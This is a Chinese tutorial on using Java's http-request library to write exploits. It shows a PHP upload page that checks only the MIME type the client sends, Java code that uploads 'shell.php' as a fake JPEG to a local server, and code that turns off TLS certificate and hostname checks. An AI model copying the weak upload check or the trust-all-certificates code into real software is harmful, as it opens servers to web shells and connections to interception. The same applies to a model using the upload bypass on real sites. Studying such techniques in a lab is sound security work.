目录
[2. 依赖导入](#2. 依赖导入)
[4. http-request文件上传简单使用](#4. http-request文件上传简单使用)
[5. 1 直接请求带https域名的网站](#5. 1 直接请求带https域名的网站)
[5.2 信任所有证书](#5.2 信任所有证书)
1.http-request简介
http-request 是一个库 里面提供很多方法,使得很容易就可以构造http请求,相比于之前使用的标准库类等要简单使用很多,目前通过此库来编写EXP较多.
2. 依赖导入
bash
<dependency>
<groupId>com.github.kevinsawicki</groupId>
<artifactId>http-request</artifactId>
<version>5.6</version>
</dependency>
3.文件上传页面代码
php
<?php
if (($_FILES["file"]["type"] == "image/gif" || $_FILES["file"]["type"] == "image/jpeg" || $_FILES["file"]["type"] == "image/png") && $_FILES["file"]["size"] < 20000) {
if ($_FILES["file"]["error"] > 0) {
echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
} else {
if (file_exists("uploads/" . $_FILES["file"]["name"])) {
echo $_FILES["file"]["name"] . " already exists. ";
} else {
move_uploaded_file($_FILES["file"]["tmp_name"], "uploads/" . $_FILES["file"]["name"]);
echo "Stored in: " . "uploads/" . $_FILES["file"]["name"];
}
}
} else {
echo "Invalid file";
}
?>
4. http-request文件上传简单使用
相比于之前使用的标准库和httpcomponents库来说,使用起来简单很多,通过设置文件头和.part方法即可,一看就懂.
java
package com.deger.HttpRequest;
import com.github.kevinsawicki.http.HttpRequest;
import java.io.File;
public class HttpRequestUpload {
public static void main(String[] args) {
// 文件上传
HttpRequest httpRequest = HttpRequest.post("http://127.0.0.1/upload.php");
// 设置请求头的文件类型
httpRequest.header( "content-Type","multipart/form-data;boundary=AaB03x");
// 设置上传的文件 以及上传文件位置
httpRequest.part("file","test123.php","image/jpeg",new File("D:\\phpstudy_pro\\WWW\\shell.php"));
// 接收响应信息
System.out.println(httpRequest.body());
}
}
5.请求https的网站解决SSL证书的问题
5. 1 直接请求带https域名的网站
java
package com.deger.HttpRequest;
import com.github.kevinsawicki.http.HttpRequest;
public class HttpRequestSsl {
public static void main(String[] args) {
HttpRequest httpRequest = HttpRequest.get("https://www.xxxxxx.com");
System.out.println(httpRequest.body());
}
}
5.2 信任所有证书
只需要使用两个方法就可以正常使用了
java
package com.deger.HttpRequest;
import com.github.kevinsawicki.http.HttpRequest;
public class HttpRequestSsl {
public static void main(String[] args) {
HttpRequest httpRequest = HttpRequest.get("https://www.xxxxx.com");
//信息所有证书和主机
httpRequest.trustAllCerts();
httpRequest.trustAllHosts();
System.out.println(httpRequest.body());
}
}